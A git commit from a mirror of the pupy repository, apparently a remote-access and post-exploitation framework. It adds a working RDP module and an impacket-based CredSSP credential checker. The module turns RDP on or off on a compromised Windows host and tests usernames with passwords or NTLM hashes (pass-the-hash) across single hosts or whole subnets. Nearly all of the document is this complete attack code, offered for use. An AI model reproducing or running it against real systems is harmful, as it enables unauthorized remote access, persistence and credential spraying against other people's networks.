mirror of https://github.com/n1nj4sec/pupy.git
Merge branch 'rdp' of https://github.com/AlessandroZ/pupy into AlessandroZ-rdp
This commit is contained in:
n1nj4sec
commit
a3e669fd60
|
|
@ -0,0 +1,72 @@
|
||||||
|
# -*- coding: UTF8 -*-
|
||||||
|
from pupylib.PupyModule import *
|
||||||
|
from pupylib.utils.rpyc_utils import redirected_stdio
|
||||||
|
from netaddr import *
|
||||||
|
|
||||||
|
__class_name__="Rdp"
|
||||||
|
|
||||||
|
@config(cat="admin")
|
||||||
|
class Rdp(PupyModule):
|
||||||
|
""" Enable / Disable rdp connection or check for valid credentials on a remote host """
|
||||||
|
|
||||||
|
def init_argparse(self):
|
||||||
|
|
||||||
|
example = 'Examples:\n'
|
||||||
|
example += '>> run rdp local --enable\n'
|
||||||
|
example += '>> run rdp local --disable\n'
|
||||||
|
example += '>> run rdp remote -u john -p P4ssw0rd -t 192.168.0.1\n'
|
||||||
|
example += '>> run rdp remote -u john -p P4ssw0rd -t 192.168.0.1/24\n'
|
||||||
|
|
||||||
|
self.arg_parser = PupyArgumentParser(prog="Rdp", description=self.__doc__, epilog=example)
|
||||||
|
subparsers = self.arg_parser.add_subparsers(title='Choose a specific action')
|
||||||
|
|
||||||
|
local = subparsers.add_parser('local', help='Enable / Disable rdp connection (only for windows hosts)')
|
||||||
|
local.set_defaults(local=True, remote=False)
|
||||||
|
local.add_argument('--enable', '-e', action='store_true', help='enable rdp')
|
||||||
|
local.add_argument('--disable', '-d', action='store_true', help='disable rdp')
|
||||||
|
|
||||||
|
remote = subparsers.add_parser('remote', help='Check for valid credentials on a remote host')
|
||||||
|
remote.set_defaults(remote=True, local=False)
|
||||||
|
remote.add_argument('--target', '-t', dest='target', required=True, help='remote host or range for checking RDP connection')
|
||||||
|
remote.add_argument('-d', dest='domain', default='workgroup', help='domain used for checking RDP connection')
|
||||||
|
remote.add_argument('-u', dest='username', required=True, help='username used for checking RDP connection')
|
||||||
|
remote.add_argument('-p', dest='password', default= '', help='password used for checking RDP connection')
|
||||||
|
remote.add_argument('-H', dest='hashes', help='NTLM hashes used for checking RDP connection')
|
||||||
|
|
||||||
|
def run(self, args):
|
||||||
|
|
||||||
|
# TO DO: enable multi RDP session
|
||||||
|
|
||||||
|
if args.local:
|
||||||
|
if args.enable or args.disable:
|
||||||
|
if not self.client.is_windows():
|
||||||
|
self.error("This option could be used only on windows hosts")
|
||||||
|
return
|
||||||
|
|
||||||
|
self.client.load_package("pupwinutils.rdp")
|
||||||
|
|
||||||
|
# check if admin
|
||||||
|
if not self.client.conn.modules["pupwinutils.rdp"].check_if_admin():
|
||||||
|
self.error("Admin privileges are required")
|
||||||
|
|
||||||
|
with redirected_stdio(self.client.conn):
|
||||||
|
if args.enable:
|
||||||
|
self.client.conn.modules["pupwinutils.rdp"].enable_rdp()
|
||||||
|
|
||||||
|
if args.disable:
|
||||||
|
self.client.conn.modules["pupwinutils.rdp"].disable_rdp()
|
||||||
|
|
||||||
|
elif args.remote:
|
||||||
|
if "/" in args.target[0]:
|
||||||
|
hosts = IPNetwork(args.target[0])
|
||||||
|
else:
|
||||||
|
hosts = list()
|
||||||
|
hosts.append(args.target)
|
||||||
|
|
||||||
|
self.client.load_package("pupyutils.rdp_check")
|
||||||
|
self.client.load_package("impacket")
|
||||||
|
self.client.load_package("calendar")
|
||||||
|
self.client.load_package("OpenSSL")
|
||||||
|
for host in hosts:
|
||||||
|
with redirected_stdio(self.client.conn):
|
||||||
|
self.client.conn.modules["pupyutils.rdp_check"].check_rdp(host, args.username, args.password, args.domain, args.hashes)
|
||||||
|
|
@ -0,0 +1,566 @@
|
||||||
|
#!/usr/bin/python
|
||||||
|
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||||
|
#
|
||||||
|
# This software is provided under under a slightly modified version
|
||||||
|
# of the Apache Software License. See the accompanying LICENSE file
|
||||||
|
# for more information.
|
||||||
|
#
|
||||||
|
# Author:
|
||||||
|
# Alberto Solino (@agsolino)
|
||||||
|
#
|
||||||
|
# Description: [MS-RDPBCGR] and [MS-CREDSSP] partial implementation
|
||||||
|
# just to reach CredSSP auth. This example test whether
|
||||||
|
# an account is valid on the target host.
|
||||||
|
#
|
||||||
|
# ToDo:
|
||||||
|
# [x] Manage to grab the server's SSL key so we can finalize the whole
|
||||||
|
# authentication process (check [MS-CSSP] section 3.1.5)
|
||||||
|
#
|
||||||
|
|
||||||
|
from struct import pack, unpack
|
||||||
|
|
||||||
|
# from impacket.examples import logger
|
||||||
|
from impacket.structure import Structure
|
||||||
|
from impacket.spnego import GSSAPI, ASN1_SEQUENCE, ASN1_OCTET_STRING, asn1decode, asn1encode
|
||||||
|
import socket
|
||||||
|
import argparse
|
||||||
|
import sys
|
||||||
|
# import logging
|
||||||
|
from binascii import a2b_hex
|
||||||
|
from Crypto.Cipher import ARC4
|
||||||
|
from impacket import ntlm, version
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
TDPU_CONNECTION_REQUEST = 0xe0
|
||||||
|
TPDU_CONNECTION_CONFIRM = 0xd0
|
||||||
|
TDPU_DATA = 0xf0
|
||||||
|
TPDU_REJECT = 0x50
|
||||||
|
TPDU_DATA_ACK = 0x60
|
||||||
|
|
||||||
|
# RDP_NEG_REQ constants
|
||||||
|
TYPE_RDP_NEG_REQ = 1
|
||||||
|
PROTOCOL_RDP = 0
|
||||||
|
PROTOCOL_SSL = 1
|
||||||
|
PROTOCOL_HYBRID = 2
|
||||||
|
|
||||||
|
# RDP_NEG_RSP constants
|
||||||
|
TYPE_RDP_NEG_RSP = 2
|
||||||
|
EXTENDED_CLIENT_DATA_SUPPORTED = 1
|
||||||
|
DYNVC_GFX_PROTOCOL_SUPPORTED = 2
|
||||||
|
|
||||||
|
# RDP_NEG_FAILURE constants
|
||||||
|
TYPE_RDP_NEG_FAILURE = 3
|
||||||
|
SSL_REQUIRED_BY_SERVER = 1
|
||||||
|
SSL_NOT_ALLOWED_BY_SERVER = 2
|
||||||
|
SSL_CERT_NOT_ON_SERVER = 3
|
||||||
|
INCONSISTENT_FLAGS = 4
|
||||||
|
HYBRID_REQUIRED_BY_SERVER = 5
|
||||||
|
SSL_WITH_USER_AUTH_REQUIRED_BY_SERVER = 6
|
||||||
|
|
||||||
|
class TPKT(Structure):
|
||||||
|
commonHdr = (
|
||||||
|
('Version','B=3'),
|
||||||
|
('Reserved','B=0'),
|
||||||
|
('Length','>H=len(TPDU)+4'),
|
||||||
|
('_TPDU','_-TPDU','self["Length"]-4'),
|
||||||
|
('TPDU',':=""'),
|
||||||
|
)
|
||||||
|
|
||||||
|
class TPDU(Structure):
|
||||||
|
commonHdr = (
|
||||||
|
('LengthIndicator','B=len(VariablePart)+1'),
|
||||||
|
('Code','B=0'),
|
||||||
|
('VariablePart',':=""'),
|
||||||
|
)
|
||||||
|
|
||||||
|
def __init__(self, data = None):
|
||||||
|
Structure.__init__(self,data)
|
||||||
|
self['VariablePart']=''
|
||||||
|
|
||||||
|
class CR_TPDU(Structure):
|
||||||
|
commonHdr = (
|
||||||
|
('DST-REF','<H=0'),
|
||||||
|
('SRC-REF','<H=0'),
|
||||||
|
('CLASS-OPTION','B=0'),
|
||||||
|
('Type','B=0'),
|
||||||
|
('Flags','B=0'),
|
||||||
|
('Length','<H=8'),
|
||||||
|
)
|
||||||
|
|
||||||
|
class DATA_TPDU(Structure):
|
||||||
|
commonHdr = (
|
||||||
|
('EOT','B=0x80'),
|
||||||
|
('UserData',':=""'),
|
||||||
|
)
|
||||||
|
|
||||||
|
def __init__(self, data = None):
|
||||||
|
Structure.__init__(self,data)
|
||||||
|
self['UserData'] =''
|
||||||
|
|
||||||
|
|
||||||
|
class RDP_NEG_REQ(CR_TPDU):
|
||||||
|
structure = (
|
||||||
|
('requestedProtocols','<L'),
|
||||||
|
)
|
||||||
|
def __init__(self,data=None):
|
||||||
|
CR_TPDU.__init__(self,data)
|
||||||
|
if data is None:
|
||||||
|
self['Type'] = TYPE_RDP_NEG_REQ
|
||||||
|
|
||||||
|
class RDP_NEG_RSP(CR_TPDU):
|
||||||
|
structure = (
|
||||||
|
('selectedProtocols','<L'),
|
||||||
|
)
|
||||||
|
|
||||||
|
class RDP_NEG_FAILURE(CR_TPDU):
|
||||||
|
structure = (
|
||||||
|
('failureCode','<L'),
|
||||||
|
)
|
||||||
|
|
||||||
|
class TSPasswordCreds(GSSAPI):
|
||||||
|
# TSPasswordCreds ::= SEQUENCE {
|
||||||
|
# domainName [0] OCTET STRING,
|
||||||
|
# userName [1] OCTET STRING,
|
||||||
|
# password [2] OCTET STRING
|
||||||
|
# }
|
||||||
|
def __init__(self, data=None):
|
||||||
|
GSSAPI.__init__(self,data)
|
||||||
|
del self['UUID']
|
||||||
|
|
||||||
|
def getData(self):
|
||||||
|
ans = pack('B', ASN1_SEQUENCE)
|
||||||
|
ans += asn1encode( pack('B', 0xa0) +
|
||||||
|
asn1encode( pack('B', ASN1_OCTET_STRING) +
|
||||||
|
asn1encode( self['domainName'].encode('utf-16le'))) +
|
||||||
|
pack('B', 0xa1) +
|
||||||
|
asn1encode( pack('B', ASN1_OCTET_STRING) +
|
||||||
|
asn1encode( self['userName'].encode('utf-16le'))) +
|
||||||
|
pack('B', 0xa2) +
|
||||||
|
asn1encode( pack('B', ASN1_OCTET_STRING) +
|
||||||
|
asn1encode( self['password'].encode('utf-16le'))) )
|
||||||
|
return ans
|
||||||
|
|
||||||
|
class TSCredentials(GSSAPI):
|
||||||
|
# TSCredentials ::= SEQUENCE {
|
||||||
|
# credType [0] INTEGER,
|
||||||
|
# credentials [1] OCTET STRING
|
||||||
|
# }
|
||||||
|
def __init__(self, data=None):
|
||||||
|
GSSAPI.__init__(self,data)
|
||||||
|
del self['UUID']
|
||||||
|
|
||||||
|
def getData(self):
|
||||||
|
# Let's pack the credentials field
|
||||||
|
credentials = pack('B',0xa1)
|
||||||
|
credentials += asn1encode(pack('B',ASN1_OCTET_STRING) +
|
||||||
|
asn1encode(self['credentials']))
|
||||||
|
|
||||||
|
ans = pack('B',ASN1_SEQUENCE)
|
||||||
|
ans += asn1encode( pack('B', 0xa0) +
|
||||||
|
asn1encode( pack('B', 0x02) +
|
||||||
|
asn1encode( pack('B', self['credType']))) +
|
||||||
|
credentials)
|
||||||
|
return ans
|
||||||
|
|
||||||
|
class TSRequest(GSSAPI):
|
||||||
|
# TSRequest ::= SEQUENCE {
|
||||||
|
# version [0] INTEGER,
|
||||||
|
# negoTokens [1] NegoData OPTIONAL,
|
||||||
|
# authInfo [2] OCTET STRING OPTIONAL,
|
||||||
|
# pubKeyAuth [3] OCTET STRING OPTIONAL,
|
||||||
|
#}
|
||||||
|
#
|
||||||
|
# NegoData ::= SEQUENCE OF SEQUENCE {
|
||||||
|
# negoToken [0] OCTET STRING
|
||||||
|
#}
|
||||||
|
#
|
||||||
|
|
||||||
|
def __init__(self, data=None):
|
||||||
|
GSSAPI.__init__(self,data)
|
||||||
|
del self['UUID']
|
||||||
|
|
||||||
|
def fromString(self, data = None):
|
||||||
|
next_byte = unpack('B',data[:1])[0]
|
||||||
|
if next_byte != ASN1_SEQUENCE:
|
||||||
|
raise Exception('SEQUENCE expected! (%x)' % next_byte)
|
||||||
|
data = data[1:]
|
||||||
|
decode_data, total_bytes = asn1decode(data)
|
||||||
|
|
||||||
|
next_byte = unpack('B',decode_data[:1])[0]
|
||||||
|
if next_byte != 0xa0:
|
||||||
|
raise Exception('0xa0 tag not found %x' % next_byte)
|
||||||
|
decode_data = decode_data[1:]
|
||||||
|
next_bytes, total_bytes = asn1decode(decode_data)
|
||||||
|
# The INTEGER tag must be here
|
||||||
|
if unpack('B',next_bytes[0])[0] != 0x02:
|
||||||
|
raise Exception('INTEGER tag not found %r' % next_byte)
|
||||||
|
next_byte, _ = asn1decode(next_bytes[1:])
|
||||||
|
self['Version'] = unpack('B',next_byte)[0]
|
||||||
|
decode_data = decode_data[total_bytes:]
|
||||||
|
next_byte = unpack('B',decode_data[:1])[0]
|
||||||
|
if next_byte == 0xa1:
|
||||||
|
# We found the negoData token
|
||||||
|
decode_data, total_bytes = asn1decode(decode_data[1:])
|
||||||
|
|
||||||
|
next_byte = unpack('B',decode_data[:1])[0]
|
||||||
|
if next_byte != ASN1_SEQUENCE:
|
||||||
|
raise Exception('ASN1_SEQUENCE tag not found %r' % next_byte)
|
||||||
|
decode_data, total_bytes = asn1decode(decode_data[1:])
|
||||||
|
|
||||||
|
next_byte = unpack('B',decode_data[:1])[0]
|
||||||
|
if next_byte != ASN1_SEQUENCE:
|
||||||
|
raise Exception('ASN1_SEQUENCE tag not found %r' % next_byte)
|
||||||
|
decode_data, total_bytes = asn1decode(decode_data[1:])
|
||||||
|
|
||||||
|
next_byte = unpack('B',decode_data[:1])[0]
|
||||||
|
if next_byte != 0xa0:
|
||||||
|
raise Exception('0xa0 tag not found %r' % next_byte)
|
||||||
|
decode_data, total_bytes = asn1decode(decode_data[1:])
|
||||||
|
|
||||||
|
next_byte = unpack('B',decode_data[:1])[0]
|
||||||
|
if next_byte != ASN1_OCTET_STRING:
|
||||||
|
raise Exception('ASN1_OCTET_STRING tag not found %r' % next_byte)
|
||||||
|
decode_data2, total_bytes = asn1decode(decode_data[1:])
|
||||||
|
# the rest should be the data
|
||||||
|
self['NegoData'] = decode_data2
|
||||||
|
decode_data = decode_data[total_bytes+1:]
|
||||||
|
|
||||||
|
if next_byte == 0xa2:
|
||||||
|
# ToDo: Check all this
|
||||||
|
# We found the authInfo token
|
||||||
|
decode_data, total_bytes = asn1decode(decode_data[1:])
|
||||||
|
next_byte = unpack('B',decode_data[:1])[0]
|
||||||
|
if next_byte != ASN1_OCTET_STRING:
|
||||||
|
raise Exception('ASN1_OCTET_STRING tag not found %r' % next_byte)
|
||||||
|
decode_data2, total_bytes = asn1decode(decode_data[1:])
|
||||||
|
self['authInfo'] = decode_data2
|
||||||
|
decode_data = decode_data[total_bytes+1:]
|
||||||
|
|
||||||
|
if next_byte == 0xa3:
|
||||||
|
# ToDo: Check all this
|
||||||
|
# We found the pubKeyAuth token
|
||||||
|
decode_data, total_bytes = asn1decode(decode_data[1:])
|
||||||
|
next_byte = unpack('B',decode_data[:1])[0]
|
||||||
|
if next_byte != ASN1_OCTET_STRING:
|
||||||
|
raise Exception('ASN1_OCTET_STRING tag not found %r' % next_byte)
|
||||||
|
decode_data2, total_bytes = asn1decode(decode_data[1:])
|
||||||
|
self['pubKeyAuth'] = decode_data2
|
||||||
|
|
||||||
|
def getData(self):
|
||||||
|
# Do we have pubKeyAuth?
|
||||||
|
if self.fields.has_key('pubKeyAuth'):
|
||||||
|
pubKeyAuth = pack('B',0xa3)
|
||||||
|
pubKeyAuth += asn1encode(pack('B', ASN1_OCTET_STRING) +
|
||||||
|
asn1encode(self['pubKeyAuth']))
|
||||||
|
else:
|
||||||
|
pubKeyAuth = ''
|
||||||
|
|
||||||
|
if self.fields.has_key('authInfo'):
|
||||||
|
authInfo = pack('B',0xa2)
|
||||||
|
authInfo+= asn1encode(pack('B', ASN1_OCTET_STRING) +
|
||||||
|
asn1encode(self['authInfo']))
|
||||||
|
else:
|
||||||
|
authInfo = ''
|
||||||
|
|
||||||
|
if self.fields.has_key('NegoData'):
|
||||||
|
negoData = pack('B',0xa1)
|
||||||
|
negoData += asn1encode(pack('B', ASN1_SEQUENCE) +
|
||||||
|
asn1encode(pack('B', ASN1_SEQUENCE) +
|
||||||
|
asn1encode(pack('B', 0xa0) +
|
||||||
|
asn1encode(pack('B', ASN1_OCTET_STRING) +
|
||||||
|
asn1encode(self['NegoData'])))))
|
||||||
|
else:
|
||||||
|
negoData = ''
|
||||||
|
ans = pack('B', ASN1_SEQUENCE)
|
||||||
|
ans += asn1encode(pack('B',0xa0) +
|
||||||
|
asn1encode(pack('B',0x02) + asn1encode(pack('B',0x02))) +
|
||||||
|
negoData + authInfo + pubKeyAuth)
|
||||||
|
|
||||||
|
return ans
|
||||||
|
|
||||||
|
# if __name__ == '__main__':
|
||||||
|
|
||||||
|
# import socket
|
||||||
|
# import argparse
|
||||||
|
# import sys
|
||||||
|
# import logging
|
||||||
|
# from binascii import a2b_hex
|
||||||
|
# from Crypto.Cipher import ARC4
|
||||||
|
# from impacket import ntlm, version
|
||||||
|
# try:
|
||||||
|
# import OpenSSL
|
||||||
|
# from OpenSSL import SSL, crypto
|
||||||
|
# except:
|
||||||
|
# logging.critical("pyOpenSSL is not installed, can't continue")
|
||||||
|
# sys.exit(1)
|
||||||
|
|
||||||
|
|
||||||
|
class SPNEGOCipher:
|
||||||
|
def __init__(self, flags, randomSessionKey):
|
||||||
|
self.__flags = flags
|
||||||
|
if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
|
||||||
|
self.__clientSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey)
|
||||||
|
self.__serverSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey,"Server")
|
||||||
|
self.__clientSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey)
|
||||||
|
self.__serverSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey,"Server")
|
||||||
|
# Preparing the keys handle states
|
||||||
|
cipher3 = ARC4.new(self.__clientSealingKey)
|
||||||
|
self.__clientSealingHandle = cipher3.encrypt
|
||||||
|
cipher4 = ARC4.new(self.__serverSealingKey)
|
||||||
|
self.__serverSealingHandle = cipher4.encrypt
|
||||||
|
else:
|
||||||
|
# Same key for everything
|
||||||
|
self.__clientSigningKey = randomSessionKey
|
||||||
|
self.__serverSigningKey = randomSessionKey
|
||||||
|
self.__clientSealingKey = randomSessionKey
|
||||||
|
self.__clientSealingKey = randomSessionKey
|
||||||
|
cipher = ARC4.new(self.__clientSigningKey)
|
||||||
|
self.__clientSealingHandle = cipher.encrypt
|
||||||
|
self.__serverSealingHandle = cipher.encrypt
|
||||||
|
self.__sequence = 0
|
||||||
|
|
||||||
|
def encrypt(self, plain_data):
|
||||||
|
if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
|
||||||
|
# When NTLM2 is on, we sign the whole pdu, but encrypt just
|
||||||
|
# the data, not the dcerpc header. Weird..
|
||||||
|
sealedMessage, signature = ntlm.SEAL(self.__flags,
|
||||||
|
self.__clientSigningKey,
|
||||||
|
self.__clientSealingKey,
|
||||||
|
plain_data,
|
||||||
|
plain_data,
|
||||||
|
self.__sequence,
|
||||||
|
self.__clientSealingHandle)
|
||||||
|
else:
|
||||||
|
sealedMessage, signature = ntlm.SEAL(self.__flags,
|
||||||
|
self.__clientSigningKey,
|
||||||
|
self.__clientSealingKey,
|
||||||
|
plain_data,
|
||||||
|
plain_data,
|
||||||
|
self.__sequence,
|
||||||
|
self.__clientSealingHandle)
|
||||||
|
|
||||||
|
self.__sequence += 1
|
||||||
|
|
||||||
|
return signature, sealedMessage
|
||||||
|
|
||||||
|
def decrypt(self, answer):
|
||||||
|
if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
|
||||||
|
# TODO: FIX THIS, it's not calculating the signature well
|
||||||
|
# Since I'm not testing it we don't care... yet
|
||||||
|
answer, signature = ntlm.SEAL(self.__flags,
|
||||||
|
self.__serverSigningKey,
|
||||||
|
self.__serverSealingKey,
|
||||||
|
answer,
|
||||||
|
answer,
|
||||||
|
self.__sequence,
|
||||||
|
self.__serverSealingHandle)
|
||||||
|
else:
|
||||||
|
answer, signature = ntlm.SEAL(self.__flags,
|
||||||
|
self.__serverSigningKey,
|
||||||
|
self.__serverSealingKey,
|
||||||
|
answer,
|
||||||
|
answer,
|
||||||
|
self.__sequence,
|
||||||
|
self.__serverSealingHandle)
|
||||||
|
self.__sequence += 1
|
||||||
|
|
||||||
|
return signature, answer
|
||||||
|
|
||||||
|
def check_rdp(host, username, password, domain, hashes = None):
|
||||||
|
try:
|
||||||
|
import OpenSSL
|
||||||
|
from OpenSSL import SSL, crypto
|
||||||
|
except:
|
||||||
|
print "pyOpenSSL is not installed, can't continue"
|
||||||
|
return
|
||||||
|
|
||||||
|
if hashes is not None:
|
||||||
|
lmhash, nthash = hashes.split(':')
|
||||||
|
lmhash = a2b_hex(lmhash)
|
||||||
|
nthash = a2b_hex(nthash)
|
||||||
|
|
||||||
|
else:
|
||||||
|
lmhash = ''
|
||||||
|
nthash = ''
|
||||||
|
|
||||||
|
tpkt = TPKT()
|
||||||
|
tpdu = TPDU()
|
||||||
|
rdp_neg = RDP_NEG_REQ()
|
||||||
|
rdp_neg['Type'] = TYPE_RDP_NEG_REQ
|
||||||
|
rdp_neg['requestedProtocols'] = PROTOCOL_HYBRID | PROTOCOL_SSL
|
||||||
|
tpdu['VariablePart'] = str(rdp_neg)
|
||||||
|
tpdu['Code'] = TDPU_CONNECTION_REQUEST
|
||||||
|
tpkt['TPDU'] = str(tpdu)
|
||||||
|
|
||||||
|
s = socket.socket()
|
||||||
|
try:
|
||||||
|
# s.settimeout(5) # not work adding this
|
||||||
|
s.connect((host,3389))
|
||||||
|
except Exception as e:
|
||||||
|
if e.errno == 113:
|
||||||
|
print '[-] No route to host : %s' % host
|
||||||
|
else:
|
||||||
|
print '[-] %s - RDP should not be enabled' % str(e)
|
||||||
|
return
|
||||||
|
|
||||||
|
s.sendall(str(tpkt))
|
||||||
|
pkt = s.recv(8192)
|
||||||
|
tpkt.fromString(pkt)
|
||||||
|
tpdu.fromString(tpkt['TPDU'])
|
||||||
|
cr_tpdu = CR_TPDU(tpdu['VariablePart'])
|
||||||
|
if cr_tpdu['Type'] == TYPE_RDP_NEG_FAILURE:
|
||||||
|
rdp_failure = RDP_NEG_FAILURE(tpdu['VariablePart'])
|
||||||
|
rdp_failure.dump()
|
||||||
|
print "Server doesn't support PROTOCOL_HYBRID, hence we can't use CredSSP to check credentials"
|
||||||
|
return
|
||||||
|
else:
|
||||||
|
rdp_neg.fromString(tpdu['VariablePart'])
|
||||||
|
|
||||||
|
# Since we were accepted to talk PROTOCOL_HYBRID, below is its implementation
|
||||||
|
|
||||||
|
# 1. The CredSSP client and CredSSP server first complete the TLS handshake,
|
||||||
|
# as specified in [RFC2246]. After the handshake is complete, all subsequent
|
||||||
|
# CredSSP Protocol messages are encrypted by the TLS channel.
|
||||||
|
# The CredSSP Protocol does not extend the TLS wire protocol. As part of the TLS
|
||||||
|
# handshake, the CredSSP server does not request the client's X.509 certificate
|
||||||
|
# (thus far, the client is anonymous). Also, the CredSSP Protocol does not require
|
||||||
|
# the client to have a commonly trusted certification authority root with the
|
||||||
|
# CredSSP server. Thus, the CredSSP server MAY use, for example,
|
||||||
|
# a self-signed X.509 certificate.
|
||||||
|
|
||||||
|
# Switching to TLS now
|
||||||
|
ctx = SSL.Context(SSL.TLSv1_METHOD)
|
||||||
|
ctx.set_cipher_list('RC4')
|
||||||
|
tls = SSL.Connection(ctx,s)
|
||||||
|
tls.set_connect_state()
|
||||||
|
tls.do_handshake()
|
||||||
|
|
||||||
|
# If you want to use Python internal ssl, uncomment this and comment
|
||||||
|
# the previous lines
|
||||||
|
#tls = ssl.wrap_socket(s, ssl_version=ssl.PROTOCOL_TLSv1, ciphers='RC4')
|
||||||
|
|
||||||
|
# 2. Over the encrypted TLS channel, the SPNEGO handshake between the client
|
||||||
|
# and server completes mutual authentication and establishes an encryption key
|
||||||
|
# that is used by the SPNEGO confidentiality services, as specified in [RFC4178].
|
||||||
|
# All SPNEGO tokens as well as the underlying encryption algorithms are opaque to
|
||||||
|
# the calling application (the CredSSP client and CredSSP server).
|
||||||
|
# The wire protocol for SPNEGO is specified in [MS-SPNG].
|
||||||
|
# The SPNEGO tokens exchanged between the client and the server are encapsulated
|
||||||
|
# in the negoTokens field of the TSRequest structure. Both the client and the
|
||||||
|
# server use this structure as many times as necessary to complete the SPNEGO
|
||||||
|
# exchange.<9>
|
||||||
|
#
|
||||||
|
# Note During this phase of the protocol, the OPTIONAL authInfo field is omitted
|
||||||
|
# from the TSRequest structure by the client and server; the OPTIONAL pubKeyAuth
|
||||||
|
# field is omitted by the client unless the client is sending the last SPNEGO token.
|
||||||
|
# If the client is sending the last SPNEGO token, the TSRequest structure MUST have
|
||||||
|
# both the negoToken and the pubKeyAuth fields filled in.
|
||||||
|
|
||||||
|
# NTLMSSP stuff
|
||||||
|
auth = ntlm.getNTLMSSPType1('','',True, use_ntlmv2 = True)
|
||||||
|
|
||||||
|
ts_request = TSRequest()
|
||||||
|
ts_request['NegoData'] = str(auth)
|
||||||
|
|
||||||
|
tls.send(ts_request.getData())
|
||||||
|
buff = tls.recv(4096)
|
||||||
|
ts_request.fromString(buff)
|
||||||
|
|
||||||
|
# 3. The client encrypts the public key it received from the server (contained
|
||||||
|
# in the X.509 certificate) in the TLS handshake from step 1, by using the
|
||||||
|
# confidentiality support of SPNEGO. The public key that is encrypted is the
|
||||||
|
# ASN.1-encoded SubjectPublicKey sub-field of SubjectPublicKeyInfo from the X.509
|
||||||
|
# certificate, as specified in [RFC3280] section 4.1. The encrypted key is
|
||||||
|
# encapsulated in the pubKeyAuth field of the TSRequest structure and is sent over
|
||||||
|
# the TLS channel to the server.
|
||||||
|
#
|
||||||
|
# Note During this phase of the protocol, the OPTIONAL authInfo field is omitted
|
||||||
|
# from the TSRequest structure; the client MUST send its last SPNEGO token to the
|
||||||
|
# server in the negoTokens field (see step 2) along with the encrypted public key
|
||||||
|
# in the pubKeyAuth field.
|
||||||
|
|
||||||
|
# Last SPNEGO token calculation
|
||||||
|
#ntlmChallenge = ntlm.NTLMAuthChallenge(ts_request['NegoData'])
|
||||||
|
type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, ts_request['NegoData'], username, password, domain, lmhash, nthash, use_ntlmv2 = True)
|
||||||
|
|
||||||
|
# Get server public key
|
||||||
|
server_cert = tls.get_peer_certificate()
|
||||||
|
pkey = server_cert.get_pubkey()
|
||||||
|
dump = crypto.dump_privatekey(crypto.FILETYPE_ASN1, pkey)
|
||||||
|
|
||||||
|
# Fix up due to PyOpenSSL lack for exporting public keys
|
||||||
|
dump = dump[7:]
|
||||||
|
dump = '\x30'+ asn1encode(dump)
|
||||||
|
|
||||||
|
cipher = SPNEGOCipher(type3['flags'], exportedSessionKey)
|
||||||
|
signature, cripted_key = cipher.encrypt(dump)
|
||||||
|
ts_request['NegoData'] = str(type3)
|
||||||
|
ts_request['pubKeyAuth'] = str(signature) + cripted_key
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Sending the Type 3 NTLM blob
|
||||||
|
tls.send(ts_request.getData())
|
||||||
|
# The other end is waiting for the pubKeyAuth field, but looks like it's
|
||||||
|
# not needed to check whether authentication worked.
|
||||||
|
# If auth is unsuccessful, it throws an exception with the previous send().
|
||||||
|
# If auth is successful, the server waits for the pubKeyAuth and doesn't answer
|
||||||
|
# anything. So, I'm sending garbage so the server returns an error.
|
||||||
|
# Luckily, it's a different error so we can determine whether or not auth worked ;)
|
||||||
|
buff = tls.recv(1024)
|
||||||
|
except Exception, err:
|
||||||
|
if str(err).find("denied") > 0:
|
||||||
|
print "[-] Access Denied"
|
||||||
|
else:
|
||||||
|
print err
|
||||||
|
return
|
||||||
|
|
||||||
|
# 4. After the server receives the public key in step 3, it first verifies that
|
||||||
|
# it has the same public key that it used as part of the TLS handshake in step 1.
|
||||||
|
# The server then adds 1 to the first byte representing the public key (the ASN.1
|
||||||
|
# structure corresponding to the SubjectPublicKey field, as described in step 3)
|
||||||
|
# and encrypts the binary result by using the SPNEGO encryption services.
|
||||||
|
# Due to the addition of 1 to the binary data, and encryption of the data as a binary
|
||||||
|
# structure, the resulting value may not be valid ASN.1-encoded values.
|
||||||
|
# The encrypted binary data is encapsulated in the pubKeyAuth field of the TSRequest
|
||||||
|
# structure and is sent over the encrypted TLS channel to the client.
|
||||||
|
# The addition of 1 to the first byte of the public key is performed so that the
|
||||||
|
# client-generated pubKeyAuth message cannot be replayed back to the client by an
|
||||||
|
# attacker.
|
||||||
|
#
|
||||||
|
# Note During this phase of the protocol, the OPTIONAL authInfo and negoTokens
|
||||||
|
# fields are omitted from the TSRequest structure.
|
||||||
|
|
||||||
|
ts_request = TSRequest(buff)
|
||||||
|
|
||||||
|
# Now we're decrypting the certificate + 1 sent by the server. Not worth checking ;)
|
||||||
|
signature, plain_text = cipher.decrypt(ts_request['pubKeyAuth'][16:])
|
||||||
|
|
||||||
|
# 5. After the client successfully verifies server authenticity by performing a
|
||||||
|
# binary comparison of the data from step 4 to that of the data representing
|
||||||
|
# the public key from the server's X.509 certificate (as specified in [RFC3280],
|
||||||
|
# section 4.1), it encrypts the user's credentials (either password or smart card
|
||||||
|
# PIN) by using the SPNEGO encryption services. The resulting value is
|
||||||
|
# encapsulated in the authInfo field of the TSRequest structure and sent over
|
||||||
|
# the encrypted TLS channel to the server.
|
||||||
|
# The TSCredentials structure within the authInfo field of the TSRequest
|
||||||
|
# structure MAY contain either a TSPasswordCreds or a TSSmartCardCreds structure,
|
||||||
|
# but MUST NOT contain both.
|
||||||
|
#
|
||||||
|
# Note During this phase of the protocol, the OPTIONAL pubKeyAuth and negoTokens
|
||||||
|
# fields are omitted from the TSRequest structure.
|
||||||
|
tsp = TSPasswordCreds()
|
||||||
|
tsp['domainName'] = domain
|
||||||
|
tsp['userName'] = username
|
||||||
|
tsp['password'] = password
|
||||||
|
tsc = TSCredentials()
|
||||||
|
tsc['credType'] = 1 # TSPasswordCreds
|
||||||
|
tsc['credentials'] = tsp.getData()
|
||||||
|
|
||||||
|
signature, cripted_creds = cipher.encrypt(tsc.getData())
|
||||||
|
ts_request = TSRequest()
|
||||||
|
ts_request['authInfo'] = str(signature) + cripted_creds
|
||||||
|
tls.send(ts_request.getData())
|
